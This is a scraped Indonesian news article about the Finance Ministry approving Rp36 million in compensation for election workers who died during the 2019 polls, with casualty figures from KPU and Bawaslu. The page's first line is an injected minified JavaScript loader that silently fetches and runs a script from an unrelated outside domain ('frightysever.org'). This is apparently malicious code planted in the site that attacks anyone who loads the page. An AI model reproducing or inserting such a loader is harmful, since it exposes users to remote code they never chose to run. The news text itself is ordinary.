(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Menkeu Tetapkan Santunan Rp 36 Juta bagi Para ‘Pahlawan Demokrasi’


JAKARTA, Kementerian Keuangan (Kemenkeu) telah menyetujui usulan Komisi Pemilihan Umum (KPU) untuk memberikan santunan kepada petugas Kelompok Penyelenggara Pemungutan Suara (KPPS) yang meninggal dunia. Penetapan ini dikeluarkan Kemenkeu pada Kamis (25/4) kemarin.

Direktur Jenderal Anggaran Kementerian Keuangan Askolani mengungkapkan santunan yang diberikan kepada petugas KPPS yang meninggal dunia sebesar Rp36 juta per orang. Angka itu sesuai dengan yang diajukan oleh KPU.

“(Santunan) sudah ditetapkan Menteri Keuangan (Sri Mulyani). (Jumlahnya) sesuai dengan yang diusulkan KPU,” tutur Askolani, Sabtu (27/4).

Dilansir cnnindonesia.com, untuk pelaksanaannya Kemenkeu memberikan wewenang kepada KPU dan Bawaslu. Ini artinya, pencairan dana akan dilakukan oleh kedua lembaga tersebut. “Santunan untuk bisa dilaksanakan oleh KPU dan Bawaslu,” terang dia.

Selain santunan untuk korban meninggal, pemerintah juga akan memberikan santunan untuk korban cacat sebesar Rp30 juta per orang. Lalu, korban luka-luka mendapatkan jatah Rp16 juta per orang.

Berdasarkan data KPU per Jumat (26/4), total petugas KPPS yang meninggal dunia sebanyak 230 orang, sakit 1.671 orang. Dengan demikian, total korban sebanyak 1.901 orang.

Sementara, anggota Bawaslu Mochammad Afifuddin mengemukakan data lembaganya mencatat jumlah korban yang meninggal sebanyak 55 orang. Jumlahnya terus bertambah sejak pemilihan umu (pemilu) dilaksanakan pada Rabu (24/4) lalu.

Ketua KPU, Arief Budiman mengakui bentuk pemilu tahun ini memang memberatkan petugas di lapangan. Menurutnya, aturan UU Pemilu memang mengharuskan proses pemungutan dan penghitungan digelar di waktu yang sama.

“KPU diprotes, dicacimaki, KPU nggak manusiawi karena orang nonsetop, kerja terus ngga pakai istirahat. Loh, UU mengatakan pemungutan suara dan penghitungan harus selesai di hari yang sama, artinya tanggal 17 April harus selesai,” kata dia, Sabtu (27/4).(cnni)

Reporter: CNNI
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.